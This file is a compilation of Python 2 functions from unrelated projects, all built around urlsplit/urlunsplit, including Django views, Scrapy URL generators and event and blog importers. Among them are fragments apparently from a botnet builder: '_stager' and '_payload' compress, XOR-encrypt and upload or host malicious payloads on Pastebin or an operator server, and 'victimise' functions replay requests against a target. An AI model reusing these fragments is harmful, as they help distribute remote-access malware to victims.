def fetch(request): target = request.GET.get('url', None) if not target: response = HttpResponseBadRequest() return response to = request.GET.get('to', 'en') print('Translate %s to %s' % (target, to)) page = '' if not target.startswith('http'): target = 'http://' + target try: page = _fetch_link(target) except Exception: return HttpResponseServerError('Fetch %s failed' % target) parts = list(urlparse.urlsplit(target)) # clean path fragement and params parts[2] = '/' parts[3] = '' parts[4] = '' base = urlparse.urlunsplit(parts) try: translated = _translate(page, to, 'zh-CHS', base) except Exception as e: return HttpResponseServerError('Translate failed: %s' % e) return HttpResponse(translated)
def __call__(self, path=None): """Return a url by urlunsplitting self.tokens. :returns: endpoint url """ return urlparse.urlunsplit(self.tokens)
def submit(self, opener, res): """submit WAYF form with IDP :param opener: the urllib2 opener :param data: the form data as a dictionary :param res: the response object """ log.info("Submitting form to wayf") # Set IDP to correct IDP wayf_data = {} idp = self.idp data = self.data idps = {} for d in data["user_idp"]: if isinstance(data["user_idp"][d], dict): idps.update(data["user_idp"][d]) if not idp.get_idp() in idps: raise WAYFException("Can't find IdP '%s' in WAYF's IdP list" % idp) wayf_data["user_idp"] = idps[idp.get_idp()] wayf_data["Select"] = "Select" if data["form"]["action"].startswith("?"): urlsp = urlparse.urlsplit(res.url) urlsp = urlparse.urlunsplit((urlsp[0], urlsp[1], urlsp[2], "", "")) url = res.url + data["form"]["action"] else: url = urlparse.urljoin(res.url, data["form"]["action"]) data = urllib.urlencode(wayf_data) request = Request(url, data) log.debug("POST: %s" % request.get_full_url()) response = opener.open(request) return request, response
def victimise(victim, uri): raw_url = victim + uri scheme, netloc, path, raw_query, fragment = urlparse.urlsplit(raw_url) query = urlparse.parse_qs(raw_query) url = urlparse.urlunsplit((scheme, netloc, path, urlencode(query, True), fragment)) print url http_client.fetch(url, fetch, use_gzip=False)
def pastebin(self, source, api_key=None): """ Dump file/data to Pastebin `Required` :param str source: data or filename `Optional` :param str api_key: Pastebin api_dev_key Returns URL of pastebin document as a string """ try: if api_key: info = { 'api_option': 'paste', 'api_paste_code': normalize(source), 'api_dev_key': api_key } paste = globals()['post']( 'https://pastebin.com/api/api_post.php', data=info) parts = urlparse.urlsplit(paste) return urlparse.urlunsplit( (parts.scheme, parts.netloc, '/raw' + parts.path, parts.query, parts.fragment)) if paste.startswith('http') else paste else: return "{} error: no pastebin API key".format( self.pastebin.func_name) except Exception as e: return '{} error: {}'.format(self.pastebin.func_name, str(e))
def set_language_ex(request): next = request.POST.get('next', request.GET.get('next')) if not is_safe_url(url=next, host=request.get_host()): next = request.META.get('HTTP_REFERER') if not is_safe_url(url=next, host=request.get_host()): next = '/' # remove lang from query scheme, netloc, path, query, fragment = urlparse.urlsplit(next) parsed_query = urlparse.parse_qsl(query) altered = False for k, v in parsed_query[:]: if LANG_GET_KEY == k: parsed_query.remove((k, v)) altered = True if altered: query = urllib.urlencode(parsed_query) next = urlparse.urlunsplit((scheme, netloc, path, query, fragment)) response = http.HttpResponseRedirect(next) if request.method == 'POST': lang_code = request.POST.get('language', None) if lang_code and check_for_language(lang_code): if hasattr(request, 'session'): request.session[LANGUAGE_SESSION_KEY] = lang_code else: response.set_cookie(settings.LANGUAGE_COOKIE_NAME, lang_code, max_age=settings.LANGUAGE_COOKIE_AGE, path=settings.LANGUAGE_COOKIE_PATH, domain=settings.LANGUAGE_COOKIE_DOMAIN) return response
def make_requests_from_url(self, url): kw = self.macro.query(url) us = urlparse.urlsplit(url) qstr = dict(urlparse.parse_qsl(us.query)) base = urlparse.urlunsplit(us._replace(query='')) meta = {'keyword':kw} return FormRequest(base, formdata=qstr, method=self.start_method, headers=self.headers, cookies=self.cookies, dont_filter=True, meta=meta)
def generate_urls(obj, macro): try: if type(obj)==list: for url in obj: yield macro.expand(url) elif type(obj)==dict: base = macro.expand(obj['base'].encode('utf-8')) us = urlparse.urlsplit(base) qstr = dict(urlparse.parse_qsl(us.query)) qstr.update(obj.get('qstr', {})) base = urlparse.urlunsplit(us._replace(query='')) for k,v in qstr.iteritems(): if type(v)==dict and type(v['val'])==unicode: v = v['val'].encode(v.get('enc', 'utf-8'), errors='ignore') qstr[k] = macro.expand(v) if 'keywords' in obj: kw_obj = obj['keywords'] sub = kw_obj.get('sub') if sub: frm = sub.get('from') to = sub.get('to') sub = functools.partial(re.sub, frm, to) else: sub = lambda x:x for kw in load_keywords(kw_obj): if kw==MAGIC: yield 'http://0.0.0.0' continue key = kw_obj['name'].encode('utf-8') val = kw col = kw_obj.get('col', 0) sep = kw_obj.get('sep') if col>0: val = val.split(sep)[col-1] val = sub(val) if kw_obj.get('query', True): qstr.update({key:val}) url = base+'?'+urlencode(qstr) else: val = val.encode(kw_obj.get('enc', 'utf-8'), errors='ignore') if type(val)==unicode else str(val) url = base.replace(key, val)+'?'+urlencode(qstr) macro.update({'sep':sep}) macro.bind(url, kw) yield url else: url = base+'?'+urlencode(qstr) yield url except Exception as ex: log.msg(u'cannot generate urls: {}'.format(ex), level=log.ERROR) raise CloseSpider()
def _stager(options, **kwargs): util.display("\n[>]", color='green', style='bright', end=' ') util.display("Stager", color='reset', style='bright') assert 'url' in kwargs, "missing keyword argument 'url'" assert 'key' in kwargs, "missing keyword argument 'key'" assert 'var' in kwargs, "missing keyword argument 'var'" if options.encrypt: stager = open('core/stagers.py', 'r').read() + generators.main('run', url=kwargs['url'], key=kwargs['key']) else: stager = open('core/stagers.py', 'r').read() + generators.main('run', url=kwargs['url']) if not os.path.isdir('modules/stagers'): try: os.mkdir('modules/stagers') except OSError: util.log("Permission denied: unable to make directory './modules/stagers/'") if options.compress: util.display("\tCompressing stager... ", color='reset', style='normal', end=' ') __load__ = threading.Event() __spin__ = _spinner(__load__) output = generators.compress(stager) __load__.set() _update(stager, output, task='Compression') stager = output util.display("\tUploading stager... ", color='reset', style='normal', end=' ') __load__ = threading.Event() __spin__ = _spinner(__load__) if options.pastebin: assert options.pastebin, "missing argument 'pastebin' required for option 'pastebin'" url = util.pastebin(stager, options.pastebin) else: dirs = ['modules/stagers','byob/modules/stagers','byob/byob/modules/stagers'] dirname = '.' for d in dirs: if os.path.isdir(d): dirname = d path = os.path.join(os.path.abspath(dirname), kwargs['var'] + '.py' ) with open(path, 'w') as fp: fp.write(stager) s = 'http://{}:{}/{}'.format(options.host, int(options.port) + 1, pathname2url(path.replace(os.path.join(os.getcwd(), 'modules'), ''))) s = urlparse.urlsplit(s) url = urlparse.urlunsplit((s.scheme, s.netloc, os.path.normpath(s.path), s.query, s.fragment)).replace('\\','/') __load__.set() util.display("(hosting stager at: {})".format(url), color='reset', style='dim') return url
def asciify_url(url, force_quote=False): r"""Attempts to make a unicode url usuable with ``urllib/urllib2``. More specifically, it attempts to convert the unicode object ``url``, which is meant to represent a IRI, to an unicode object that, containing only ASCII characters, is a valid URI. This involves: * IDNA/Puny-encoding the domain name. * UTF8-quoting the path and querystring parts. See also RFC 3987. """ assert type(url) == unicode parts = urlparse.urlsplit(url) if not parts.scheme or not parts.netloc: # apparently not an url return url # idna-encode domain hostname = parts.hostname.encode('idna') # UTF8-quote the other parts. We check each part individually if # if needs to be quoted - that should catch some additional user # errors, say for example an umlaut in the username even though # the path *is* already quoted. def quote(s, safe): s = s or '' # Triggers on non-ascii characters - another option would be: # urllib.quote(s.replace('%', '')) != s.replace('%', '') # which would trigger on all %-characters, e.g. "&". if s.encode('ascii', 'replace') != s or force_quote: return urllib.quote(s.encode('utf8'), safe=safe) return s username = quote(parts.username, '') password = quote(parts.password, safe='') path = quote(parts.path, safe='/') query = quote(parts.query, safe='&=') # put everything back together netloc = hostname if username or password: netloc = '@' + netloc if password: netloc = ':' + password + netloc netloc = username + netloc if parts.port: netloc += ':' + str(parts.port) return urlparse.urlunsplit( [parts.scheme, netloc, path, query, parts.fragment])
def asciify_url(url, force_quote=False): r"""Attempts to make a unicode url usuable with ``urllib/urllib2``. More specifically, it attempts to convert the unicode object ``url``, which is meant to represent a IRI, to an unicode object that, containing only ASCII characters, is a valid URI. This involves: * IDNA/Puny-encoding the domain name. * UTF8-quoting the path and querystring parts. See also RFC 3987. """ assert type(url) == unicode parts = urlparse.urlsplit(url) if not parts.scheme or not parts.netloc: # apparently not an url return url # idna-encode domain hostname = parts.hostname.encode('idna') # UTF8-quote the other parts. We check each part individually if # if needs to be quoted - that should catch some additional user # errors, say for example an umlaut in the username even though # the path *is* already quoted. def quote(s, safe): s = s or '' # Triggers on non-ascii characters - another option would be: # urllib.quote(s.replace('%', '')) != s.replace('%', '') # which would trigger on all %-characters, e.g. "&". if s.encode('ascii', 'replace') != s or force_quote: return urllib.quote(s.encode('utf8'), safe=safe) return s username = quote(parts.username, '') password = quote(parts.password, safe='') path = quote(parts.path, safe='/') query = quote(parts.query, safe='&=') # put everything back together netloc = hostname if username or password: netloc = '@' + netloc if password: netloc = ':' + password + netloc netloc = username + netloc if parts.port: netloc += ':' + str(parts.port) return urlparse.urlunsplit([ parts.scheme, netloc, path, query, parts.fragment])
def victimise(victim, request): try: lines = request.split('\n') uri = lines[0].split(' ')[1] body = lines[-1] raw_url = victim + uri scheme, netloc, path, raw_query, fragment = urlparse.urlsplit(raw_url) query = urlparse.parse_qs(raw_query) url = urlparse.urlunsplit((scheme, netloc, path, urlencode(query, True), fragment)) if body: http_client.fetch(url, fetch, method="POST", body=body, use_gzip=False) except: pass
def generate_urls(obj, macro): try: if type(obj) == list: for url in obj: yield macro.expand(url) elif type(obj) == dict: base = macro.expand(obj['base'].encode('utf-8')) us = urlparse.urlsplit(base) qstr = dict(urlparse.parse_qsl(us.query)) qstr.update(obj.get('qstr', {})) base = urlparse.urlunsplit(us._replace(query='')) for k, v in qstr.iteritems(): if type(v) == dict and type(v['val']) == unicode: v = v['val'].encode(v.get('enc', 'utf-8'), errors='ignore') qstr[k] = macro.expand(v) if 'keywords' in obj: kw_obj = obj['keywords'] for kw in load_keywords(kw_obj): key = kw_obj['name'].encode('utf-8') val = kw.encode( kw_obj.get('enc', 'utf-8'), errors='ignore') if type(kw) == unicode else str(kw) if kw_obj.get('query', True): qstr.update({key: val}) url = base + '?' + urlencode(qstr) else: url = base.replace(key, val) + '?' + urlencode(qstr) yield url else: url = base + '?' + urlencode(qstr) yield url except Exception as ex: log.msg(u'cannot generate urls: {}'.format(ex), level=log.ERROR) raise CloseSpider()
def pastebin(self, source, api_key=None): """ Dump file/data to Pastebin `Required` :param str source: data or filename `Optional` :param str api_key: Pastebin api_dev_key Returns URL of pastebin document as a string """ try: if api_key: info = {'api_option': 'paste', 'api_paste_code': normalize(source), 'api_dev_key': api_key} paste = globals()['post']('https://pastebin.com/api/api_post.php',data=info) parts = urlparse.urlsplit(paste) return urlparse.urlunsplit((parts.scheme, parts.netloc, '/raw' + parts.path, parts.query, parts.fragment)) if paste.startswith('http') else paste else: return "{} error: no pastebin API key".format(self.pastebin.__name__) except Exception as e: return '{} error: {}'.format(self.pastebin.__name__, str(e))
def generate_urls(obj, macro): try: if type(obj)==list: for url in obj: yield macro.expand(url) elif type(obj)==dict: base = macro.expand(obj['base'].encode('utf-8')) us = urlparse.urlsplit(base) qstr = dict(urlparse.parse_qsl(us.query)) qstr.update(obj.get('qstr', {})) base = urlparse.urlunsplit(us._replace(query='')) for k,v in qstr.iteritems(): if type(v)==dict and type(v['val'])==unicode: v = v['val'].encode(v.get('enc', 'utf-8'), errors='ignore') qstr[k] = macro.expand(v) if 'keywords' in obj: kw_obj = obj['keywords'] for kw in load_keywords(kw_obj): key = kw_obj['name'].encode('utf-8') val = kw.encode(kw_obj.get('enc', 'utf-8'), errors='ignore') if type(kw)==unicode else str(kw) if kw_obj.get('query', True): qstr.update({key:val}) url = base+'?'+urlencode(qstr) else: url = base.replace(key, val)+'?'+urlencode(qstr) yield url else: url = base+'?'+urlencode(qstr) yield url except Exception as ex: log.msg(u'cannot generate urls: {}'.format(ex), level=log.ERROR) raise CloseSpider()
def import_parties(filepath, hashtag, location=u'austin', venue_city='Austin', venue_state='TX', venue_zip=u'', event_source='sxsw-party', geoloc="30.27,-97.74", **kwargs): from artist.models import ArtistProfile from event.models import Event, Venue from lastfm import get_artist from lastfm.fetch_events import get_raw_image parent, filename = os.path.split(_DEFAULT_IMAGE) party_images = { '#SXSWi #Party'.lower(): os.path.join(parent, "sxswi_party.jpg"), '#SXSWm #Party'.lower(): os.path.join(parent, "sxswm_party.jpg"), } _ARTIST = ArtistProfile.objects.get(url='riotvine-member') _DATE_FORMAT = "%m/%d/%Y" # format: 03/17/2010 f = open(filepath, 'r') f.readline( ) # skip first line -- Date|Actual Date|Event|Venue|Band|Free|Free Drinks|Map|Details|Link| lines = f.readlines() max = len(lines) rnum = 0 img = party_images.get(hashtag.lower(), None) has_image = True if not img: has_image = False img = _DEFAULT_IMAGE f = open(img, "rb") raw_image_contents = f.read() f.close() while True: if rnum >= max: break r = lines[rnum].strip().split('|') print rnum, r venue = r[3].strip().decode("utf-8").strip() venue_address = u'' querystring = urlencode({ 'q': u'"%s" %s, %s %s' % (venue[:25], venue_address, venue_city, venue_state) }) map_url = u'http://maps.google.com/?%s' % querystring vn, created = Venue.objects.get_or_create( name=venue[:255], geo_loc=geoloc, defaults=dict( source='user-entered', address=venue_address[:255], city=venue_city[:255], state=venue_state, zip_code=venue_zip[:12], venue_url=u'', map_url=map_url, )) event_name = r[2] event_date = r[1] # MM/DD/YYYY if 'err' in event_date.lower(): rnum += 1 continue dt = strptime(event_date, _DATE_FORMAT) event_date = date(*dt[:3]) event_time = None headliner = u'' is_free = r[5] and "y" in r[5].lower() free_drinks = r[6] and "y" in r[6].lower() band = r[4] description = u"" if band and 'tba' not in band.lower(): description = u'<p class="band party party-band">%s</p>' % band.decode( "utf-8") if free_drinks: description = description + u"\n<p><strong>Free Drinks!</strong></p>\n" external_url = r[9].strip() if 'no hyperlink' in external_url.lower(): external_url = u'' event_id = u'' else: x = urlparse.urlsplit(external_url) qx = x.query qx_dict = parse_qs(qx) qx_dict.pop("appSession", None) # remove session id from URL to make it work event_id = qx_dict.get("RecordID")[0] new_dict = {} for k, v in qx_dict.iteritems(): new_dict[k] = v[0] qx = urlencode(new_dict) external_url = urlparse.urlunsplit( (x.scheme, x.netloc, x.path, qx, x.fragment)) description = description + u'\n<p><a href="%s">More details »</a></p>\n' % external_url title = u"%s at %s %s" % (event_name.decode('utf-8'), vn.name.decode('utf-8'), hashtag) Event.objects.filter(ext_event_id=event_id, ext_event_source=event_source).delete() ex = Event( ext_event_id=event_id, ext_event_source=event_source, artist=_ARTIST, creator=_ARTIST.user_profile, description=description, is_submitted=True, is_approved=True, is_free=is_free, title=title[:120], url=(u"%s-%s" % (slugify(title)[:30], uuid4().hex[::4]))[:35], venue=vn, event_date=event_date, event_start_time=event_time, event_timezone=u'', hashtag=u'', location=location, headliner=u'', artists=u'', has_image=has_image, ) image_content = ContentFile(raw_image_contents) fname, ext = os.path.splitext("default.jpg") fname = u'%s%s' % (uuid4().hex[::2], ext) ex.image.save(fname, image_content, save=False) ex._create_resized_images(raw_field=None, save=False) ex.save() print ex, ex.ext_event_id rnum += 1
def _payload(options, **kwargs): util.display("\n[>]", color='green', style='bright', end=' ') util.display("Payload", color='reset', style='bright') assert 'var' in kwargs, "missing keyword argument 'var'" assert 'modules' in kwargs, "missing keyword argument 'modules'" assert 'imports' in kwargs, "missing keyword argument 'imports'" # loader = '\n'.join((open('core/loader.py','r').read(), generators.loader(host=options.host, port=int(options.port)+2, packages=list(kwargs['hidden'])))) loader = open('core/loader.py', 'r').read() test_imports = '\n'.join([ 'import ' + i for i in list(kwargs['hidden']) if i not in ['StringIO', '_winreg'] ]) modules = '\n'.join(([ open(module, 'r').read().partition('# main')[2] for module in kwargs['modules'] ] + [ generators.main( 'Payload', **{ "host": options.host, "port": options.port, "pastebin": options.pastebin if options.pastebin else str() }) + '_payload.run()' ])) payload = '\n'.join((loader, test_imports, modules)) if not os.path.isdir('modules/payloads'): try: os.mkdir('modules/payloads') except OSError: util.log( "Permission denied: unabled to make directory './modules/payloads/'" ) if options.compress: util.display("\tCompressing payload... ", color='reset', style='normal', end=' ') __load__ = threading.Event() __spin__ = _spinner(__load__) output = generators.compress(payload) __load__.set() _update(payload, output, task='Compression') payload = output if options.encrypt: assert 'key' in kwargs, "missing keyword argument 'key' required for option 'encrypt'" util.display("\tEncrypting payload... ".format(kwargs['key']), color='reset', style='normal', end=' ') __load__ = threading.Event() __spin__ = _spinner(__load__) output = security.encrypt_xor(payload, base64.b64decode(kwargs['key'])) __load__.set() _update(payload, output, task='Encryption') payload = output util.display("\tUploading payload... ", color='reset', style='normal', end=' ') __load__ = threading.Event() __spin__ = _spinner(__load__) if options.pastebin: assert options.pastebin, "missing argument 'pastebin' required for option 'pastebin'" url = util.pastebin(payload, options.pastebin) else: dirs = [ 'modules/payloads', 'byob/modules/payloads', 'byob/byob/modules/payloads' ] dirname = '.' for d in dirs: if os.path.isdir(d): dirname = d path = os.path.join(os.path.abspath(dirname), kwargs['var'] + '.py') with open(path, 'w') as fp: fp.write(payload) s = 'http://{}:{}/{}'.format( options.host, int(options.port) + 1, pathname2url(path.replace(os.path.join(os.getcwd(), 'modules'), ''))) s = urlparse.urlsplit(s) url = urlparse.urlunsplit( (s.scheme, s.netloc, os.path.normpath(s.path), s.query, s.fragment)).replace('\\', '/') __load__.set() util.display("(hosting payload at: {})".format(url), color='reset', style='dim') return url
def import_parties(filepath, hashtag, location=u'austin', venue_city='Austin', venue_state='TX', venue_zip=u'', event_source='sxsw-party', geoloc="30.27,-97.74", **kwargs): from artist.models import ArtistProfile from event.models import Event, Venue from lastfm import get_artist from lastfm.fetch_events import get_raw_image parent, filename = os.path.split(_DEFAULT_IMAGE) party_images = { '#SXSWi #Party'.lower():os.path.join(parent, "sxswi_party.jpg"), '#SXSWm #Party'.lower():os.path.join(parent, "sxswm_party.jpg"), } _ARTIST = ArtistProfile.objects.get(url='riotvine-member') _DATE_FORMAT = "%m/%d/%Y" # format: 03/17/2010 f = open(filepath, 'r') f.readline() # skip first line -- Date|Actual Date|Event|Venue|Band|Free|Free Drinks|Map|Details|Link| lines = f.readlines() max = len(lines) rnum = 0 img = party_images.get(hashtag.lower(), None) has_image = True if not img: has_image = False img = _DEFAULT_IMAGE f = open(img, "rb") raw_image_contents = f.read() f.close() while True: if rnum >= max: break r = lines[rnum].strip().split('|') print rnum, r venue = r[3].strip().decode("utf-8").strip() venue_address = u'' querystring = urlencode({'q':u'"%s" %s, %s %s' % (venue[:25], venue_address, venue_city, venue_state)}) map_url = u'http://maps.google.com/?%s' % querystring vn, created = Venue.objects.get_or_create( name=venue[:255], geo_loc=geoloc, defaults=dict( source='user-entered', address=venue_address[:255], city=venue_city[:255], state=venue_state, zip_code=venue_zip[:12], venue_url=u'', map_url=map_url, ) ) event_name = r[2] event_date = r[1] # MM/DD/YYYY if 'err' in event_date.lower(): rnum += 1 continue dt = strptime(event_date, _DATE_FORMAT) event_date = date(*dt[:3]) event_time = None headliner = u'' is_free = r[5] and "y" in r[5].lower() free_drinks = r[6] and "y" in r[6].lower() band = r[4] description = u"" if band and 'tba' not in band.lower(): description = u'<p class="band party party-band">%s</p>' % band.decode("utf-8") if free_drinks: description = description + u"\n<p><strong>Free Drinks!</strong></p>\n" external_url = r[9].strip() if 'no hyperlink' in external_url.lower(): external_url = u'' event_id = u'' else: x = urlparse.urlsplit(external_url) qx = x.query qx_dict = parse_qs(qx) qx_dict.pop("appSession", None) # remove session id from URL to make it work event_id = qx_dict.get("RecordID")[0] new_dict = {} for k, v in qx_dict.iteritems(): new_dict[k]=v[0] qx = urlencode(new_dict) external_url = urlparse.urlunsplit((x.scheme, x.netloc, x.path, qx, x.fragment)) description = description + u'\n<p><a href="%s">More details »</a></p>\n' % external_url title = u"%s at %s %s" % (event_name.decode('utf-8'), vn.name.decode('utf-8'), hashtag) Event.objects.filter(ext_event_id=event_id, ext_event_source=event_source).delete() ex = Event( ext_event_id=event_id, ext_event_source=event_source, artist=_ARTIST, creator=_ARTIST.user_profile, description=description, is_submitted=True, is_approved=True, is_free=is_free, title=title[:120], url=(u"%s-%s" % (slugify(title)[:30], uuid4().hex[::4]))[:35], venue=vn, event_date=event_date, event_start_time=event_time, event_timezone=u'', hashtag=u'', location=location, headliner=u'', artists=u'', has_image=has_image, ) image_content = ContentFile(raw_image_contents) fname, ext = os.path.splitext("default.jpg") fname = u'%s%s' % (uuid4().hex[::2], ext) ex.image.save(fname, image_content, save=False) ex._create_resized_images(raw_field=None, save=False) ex.save() print ex, ex.ext_event_id rnum += 1
def _get_url_root(self, url): scheme, netloc, url, query, fragment = urlparse.urlsplit(self.url) return urlparse.urlunsplit((scheme, netloc, '', '', ''))
def import_quills(self, blogurl, username, password): """Import from Quills using Zope's XML-RPC interface.""" yield _(u'<p>Beginning Quills import. Attempting to get data...</p>') urlparts = urlparse.urlsplit(blogurl) urlnetloc = urlparts.netloc urlpath = urlparts.path if not urlpath.endswith('/'): urlpath += '/' # Trailing slash required for XML-RPC if username: #: We're using simple HTTP auth, which isn't the smartest thing to #: do, but Plone's default cookie-auth system is just a base64 #: encoding of username:password, which isn't any better. Quills #: runs on Plone 2.1 and 2.5, neither of which shipped with a more #: secure auth mechanism, so we'll just go with what works. HTTP #: auth fallback has been supported by every Zope 2.x release. urlnetloc = '%s:%s@%s' % (username, password, urlnetloc) useblogurl = urlparse.urlunsplit((urlparts.scheme, urlnetloc, urlpath, '', '')) conn = xmlrpclib.ServerProxy(useblogurl) title = conn.Title() data = conn.zine_export() yield _(u'<p>Got data. Parsing for weblog entries and replies.</p>') tags = {} posts = {} authors = {} yield _(u'<ol>') for entry in data: itemtags = [] for tag in entry['tags']: if tag in tags: itemtags.append(tags[tag]) else: newtag = Tag(gen_slug(tag), tag) tags[tag] = newtag itemtags.append(newtag) if entry['author'] in authors: author = authors[entry['author']] else: author = Author(entry['author'], '', '') authors[entry['author']] = author status = PLONE_STATUS.get(entry['status'], STATUS_PUBLISHED) body = reunicode(entry['body']) description = reunicode(entry['description']) subject = reunicode(entry['title']) parser = PLONE_PARSERS.get(entry['format'], 'zeml') pub_date = parse_plone_date(entry['date']) if description: #: Assume description is text/plain. Anything else is unlikely if parser in ['zeml', 'html']: body = u'<intro><p>%s</p></intro>%s' % (description, body) else: # We don't know how this parser works, so just insert # description before body, with a blank line in between body = u'%s\n\n%s' % (description, body) comments = {} for comment in entry['replies']: c_body = reunicode(comment['body']) c_author = comment['author'] if c_author in authors: c_author = authors[c_author] #: Fix for Jace's anon comments hack elif c_author.startswith('!'): c_author = c_author[1:] c_body = reunicode(comment['body']) c_subject = reunicode(comment['title']) if c_subject: c_body = '%s\n\n%s' % (c_subject, c_body) comments[comment['id']] = Comment( author = c_author, body = c_body, pub_date = parse_plone_date( comment['date']).astimezone(UTC), author_email = None, author_url = None, remote_addr = None, parent = comment['parent'], parser = 'text', status = COMMENT_MODERATED ) # Re-thread comments for comment in comments.values(): comment.parent = comments.get(comment.parent, None) posts[entry['id']] = Post( slug=gen_timestamped_slug(entry['id'], 'entry', pub_date), title=subject, link=entry['url'], pub_date=pub_date.astimezone(UTC), author=authors[entry['author']], intro=u'', body=body, tags=itemtags, categories=[], comments=comments.values(), comments_enabled=entry['allow_comments'], pings_enabled=True, uid=entry['id'], parser=parser, content_type='entry', status=status ) yield _(u'<li><strong>%s</strong> (by %s; %d comments)</li>') % ( subject, author.username, len(comments)) yield _(u'</ol>') self.enqueue_dump(Blog( title, blogurl, '', 'en', tags.values(), [], posts.values(), authors.values())) flash(_(u'Added imported items to queue.')) yield _(u'<p><strong>All done.</strong></p>')
def request(method, url, content_type, data=None, params=None, headers=None, cookies=None, auth=None, redirection=True, timeout=60): """Creates a new HTTP request and processes it. :param method: the type of request to be created (``GET`` or ``POST``) :type method: ``str``. :param url: the url of the request. :type url: ``str``. :param content_type: the content type to be returned (``raw`` or ``json``) :type content_type: ``str``. :param data: the data to be posted. :type data: ``any``. :param params: mapping of url parameters. :type params: :class:`dict`. :param headers: the headers of the request. :type headers: :class:`dict`. :param cookies: the cookies of the request. :type cookies: :class:`dict`. :param auth: the authentication information to be used. :type auth: :class:`dict`. :param redirection: a flag indicating whether redirection is allowed or not. :type redirection: ``boolean``. :param timeout: a timeout for the request. :type timeout: ``int``. :return: the content obtained from executing the request. :rtype: ``str`` or ``json``. """ openers = [] if not redirection: openers.append(NoRedirectHttpHandler()) if auth: manager = HTTPPasswordMgrWithDefaultRealm() manager.add_password(None, url, auth['username'], auth['password']) openers.append(HTTPBasicAuthHandler(manager)) opener = build_opener(*openers) install_opener(opener) headers = headers or {} if cookies: for cookie in cookies.keys(): headers['Cookie'] = "{0}={1}".format(cookie, cookies[cookie]) if 'user-agent' not in headers: headers['user-agent'] = 'Alfred-Workflow/1.17' encodings = [s.strip() for s in headers.get('accept-encoding', '').split(',')] if 'gzip' not in encodings: encodings.append('gzip') headers['accept-encoding'] = ', '.join(encodings) if method == 'POST' and not data: data = '' if data and isinstance(data, dict): data = urlencode(format_headers(data)) headers = format_headers(headers) if isinstance(url, unicode): url = url.encode('utf-8') if params: scheme, netloc, path, query, fragment = urlparse.urlsplit(url) if query: url_params = urlparse.parse_qs(query) url_params.update(params) params = url_params query = urlencode(format_headers(params), doseq=True) url = urlparse.urlunsplit((scheme, netloc, path, query, fragment)) try: response = urlopen(Request(url, data, headers), timeout=timeout) response_headers = response.info() content = response.read() if 'gzip' in response_headers.get('content-encoding', '') \ or 'gzip' in response_headers.get('transfer-encoding', ''): content = unzip(content) if content_type.lower() == 'json': return json.loads(content, 'utf-8') return content except (HTTPError, URLError): send_notification('Workflow', 'Error while calling {0}'.format(url)) if content_type.lower() == 'json': return {} return ''